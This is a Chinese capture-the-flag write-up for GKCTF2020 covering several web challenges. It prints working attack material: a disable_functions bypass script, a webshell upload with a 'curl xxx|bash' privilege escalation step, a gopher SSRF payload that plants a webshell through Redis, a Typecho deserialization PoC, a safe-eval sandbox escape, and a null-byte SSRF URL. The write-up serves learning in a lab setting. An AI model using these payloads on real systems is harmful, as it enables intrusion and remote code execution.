GKCTF2020wp

作者: byc_404 | 来源:发表于2020-05-25 08:52 被阅读0次

    这周末打了两个比赛。BJDCTF3rd与GKCTF.这里个人认为GKCTF的题目收获挺多的,但是时间太紧,自己也在简单题上浪费了不少时间。所以把比赛时没来的及看或者没做出来的题都补全。

    check_in

    题目给出了源码。基本机理就是从$_REQUEST里获取Ginkgo变量然后eval执行。
    phpinfo()的话会发现存在disable_function,列目录会发现根目录有readflag.
    但是不要紧。我们有bypass脚本用,下面就是之前做buu上一道l33t-hoster的脚本拿来改的

    import requests
    import base64
    
    
    url='http://5e0893e9-0a1c-4836-8865-2771c87a52e4.node3.buuoj.cn/'
    
    
    def command(payload):
        return {"Ginkgo":base64.b64encode(payload.encode('utf-8')).decode('utf-8')}
    
    payload="move_uploaded_file($_FILES['file']['tmp_name'],'/tmp/exploit.php');echo 'ok';var_dump(scandir('/tmp'));"
    files = [('file',('exploit.php',open("exploit.php","rb"),'application/octet-stream'))]
    r = requests.post(url=url,data=command(payload),files=files)
    r=requests.post(url=url,data=command('include("/tmp/exploit.php");'))
    print(r.text)
    

    脚本要传到/tmp下,否则其他目录应该是不可写的。然后包含即可。

    老八小超市儿

    这题说实话挺简单的。就是手慢了几步。
    首先后台getshell不讲了,主要是按照网上能搜到的
    ShopXO全版本getshell流程走:先默认密码登录后台,下载主题并加上webshellbyc.php,再重新上传zip文件,访问/public/static/index/default/byc.php即可.

    拿到www-data的shell后发现需要提权。然后根目录flag.hint里给了个日期.不过我并没有怎么在意这个日期,而是按照自己htb渗透的习惯来.

    首先理论上应该来个扫描脚本的。不过这里很明显就能在根目录ls -la时发现auto.sh是root用户运行一个python脚本,每一分钟执行一次。找到python脚本后发现有写的权限。

    那就很简单了,直接写入命令import os;os.system('curl xxx|bash')
    (这里之前为了弹www-data的shell提前准备好了反弹脚本)然后等待监听的端口返回rootshell即可。flag在root目录下

    EZ三剑客-EzWeb

    这题二血。算是比较有意思的题目。

    首先会发现首页功能似乎是个ssrf。然后还给出了?secret参数看ip地址.
    不过其实这里并不需要给ip的,因为可以直接读/etc/hosts

    当然,想要常规的file协议读肯定是不行的.但是它过滤的不严,可以用类似xxe里利用file协议列目录的方式来读
    file:/var/www/html/index.php
    得到源码

    <?php
    function curl($url){  
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        echo curl_exec($ch);
        curl_close($ch);
    }
    
    if(isset($_GET['submit'])){
            $url = $_GET['url'];
            //echo $url."\n";
            if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
            {
                //var_dump($match);
                die('别这样');
            }
            curl($url);
    }
    if(isset($_GET['secret'])){
        system('ifconfig');
    }
    ?>
    

    不过flag并不在本机173.92.140.10。实际上这种方式想读根目录也并不可行。但基于这里是个curl的ssrf。那么就大有可为。
    不过这一步浪费了不少时间,后面才反应过来可以顺着探内网。
    尝试直接顺着ip探内网存活主机,发现173.92.140.13,提示其他端口,猜测是redis或者mysql之类的。
    于是探6379端口得到redis的报错命令。那么基本可以确认是gopher协议利用ssrf打redis未授权getshell了。
    可以看这篇文章Redis和SSRF

    命令的构建主要是编码问题。把命令进行正确编码就能打了

    gopher://173.92.140.13:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
    

    这样就在140.13那写入webshell。然后直接173.92.140.13/shell.php?cmd=cat%20/flag即可

    EZ三剑客-EzTypecho

    这题真的可惜。比赛时因为其他题目没来得及看。结果发现基本就是原本的链子加上一个bypass就行了。

    先来过下源码。关于typeecho的洞出在install.php算是比较熟知的了。所以网上基本两个版本的POP链。如果有install.php就可以按第一个的思路走。
    首先这里的源码表明必须getfinish参数以及带上Referer才不会退出。

    接下来是反序列化点


    这里实际上只加上了一个session的判断。如果以前有现成的pocbypass了这个判断就能直接打了。这里自己先按照链子跟一下。

    上面我们的序列化数据被送进实例化了一个Typeecho_Db类里。跟进下
    发现构造方法调用了call_user_func()

    然后call_user_func的参数$adapterName有一个字符串拼接。那说明可以触发__toString.我们全局找下__toString
    找到var\Typecho\Feed.php
    其魔术方法中有这样一段

    这里item是遍历items得来的。而items可控。并且由于箭头所指位置调用了screenname属性。因此可能可以触发__get方法
    全局搜找到var\Typecho\Request.php

    public function __get($key)
    {
        return $this->get($key);
    }
    

    而get是


    我们上面要触发__get,是因为调用了screneName属性。那么触发get的话就是对应了$key。可以看到最后被送进_applyFilter的参数值来自params[$key]仍然是可控的
    最后就是跟进函数了。发现调用call_user_func可以命令执行。参数可控。所以链子到此结束。

    poc

    <?php
    class Typecho_Request
    {
        private $_params = array('screenName'=>'cat /flag');
        private $_filter = array('system');
    }
    class Typecho_Feed
    {
        private $_type = 'RSS 2.0';
        private $_items;
        public function __construct()
        {
            $this->_items=array(array("author"=>new Typecho_Request()));
    
        }
    }
    $config=array("adapter"=>new Typecho_Feed(),"prefix"=>'byc');
    echo base64_encode(serialize($config));
    ?>
    

    最后再回到开始提到的问题。想要触发反序列化必须要有个session.不过其实也有好几道题设及到了这个知识点。我们利用php的特性。带上php_session_upload_progress上传文件。并且cookie带上PHPSESSID。就会发现不会触发它提示no, you can't unserialize it without session QAQ
    结果

    当然这题不按这个思路来也是可以的。因为get传参start处也有一个反序列化。直接打也没问题。总之这题花的时间是最短的,比赛时没做真的可惜。

    EZ三剑客-EzNode

    这题跟之前做npuctf时的一道node差不多。不过这里直接用的safe-eval库。显然是有poc可逃逸的。但是在这之前肯定有waf要绕。

    app.use((req, res, next) => {
      if (req.path === '/eval') {
        let delay = 60 * 1000;
        console.log(delay);
        if (Number.isInteger(parseInt(req.query.delay))) {
          delay = Math.max(delay, parseInt(req.query.delay));
        }
        const t = setTimeout(() => next(), delay);
        // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
        setTimeout(() => {
          clearTimeout(t);
          console.log('timeout');
          try {
            res.send('Timeout!');
          } catch (e) {
    
          }
        }, 1000);
      } else {
        next();
      }
    });
    

    这里settimout会发现导致我们的payload都无法执行。因此需要绕过,让delay小于1000才能进到safeeval的路由里。
    https://stackoverflow.com/questions/3468607/why-does-settimeout-break-for-large-millisecond-delay-values
    这里存在一个issue。就是我们传入的delay如果大小超过32位,会被settimeout设为1.这样就满足条件了。
    后面搜到的safe-eval的poc直接打

    const theFunction = function () {
      const f = Buffer.prototype.write;
      const ft = {
        length: 10,
        utf8Write(){
    
        }
      };
      function r(i){
        var x = 0;
        try{
          x = r(i);
        }catch(e){}
        if(typeof(x)!=='number')
          return x;
        if(x!==i)
          return x+1;
        try{
          f.call(ft);
        }catch(e){
          return e;
        }
        return null;
      }
      var i=1;
      while(1){
        try{
          i=r(i).constructor.constructor("return process")();
          break;
        }catch(x){
          i++;
        }
      }
      return i.mainModule.require("child_process").execSync("id").toString()
    };
    const untrusted = `(${theFunction})()`;
    
    console.log(saferEval(untrusted));
    

    改成IIFE形式直接打。

    (function(){xxxxx})()

    CVE版签到

    这题我是真的没理解出题人的意思。后面提醒了CVE后还是没理解出题人的意思......结果大部分时间都花在这题上了。

    进去后似乎是一个ssrf。然后只有.ctfhub.com才会触发动作的样子。因此判断应该是有个正则了。然后发现header里提示flag在localhost,并且Host要以123结尾。

    这里我虽然大概明白后端运行流程,但是还是搞错了出题人的意图。太难受了。运用到的CVE其实就是getheader的CVE。之前BJD刚刚考过。这个函数特点就是会去请求并返回header.但是CVE告诉我们,如果是用%00截断,就可能让命令去请求用户的可控网址。

    在了解到这个CVE后,我以为是要返回头里的Host为123结束。结果最后才知道原来是要请求127.0.0.123。。。不知道说啥,只能说自己把提示搞成要绕的waf了。
    payload
    url=http://127.0.0.123%00.ctfhub.com

    小结

    这次比赛虽然后面基本就没花时间了,但是收获挺大的.至少发现自己临场变通的能力还是很差就跟平时学业一样...不过还是得稳扎稳打吧。最后还剩一场RCTF这个学期就要暂时跟CTF说再见了。争取能再发挥的稳一点。

    相关文章

      网友评论

        本文标题:GKCTF2020wp

        本文链接:https://www.haomeiwen.com/subject/mqyeahtx.html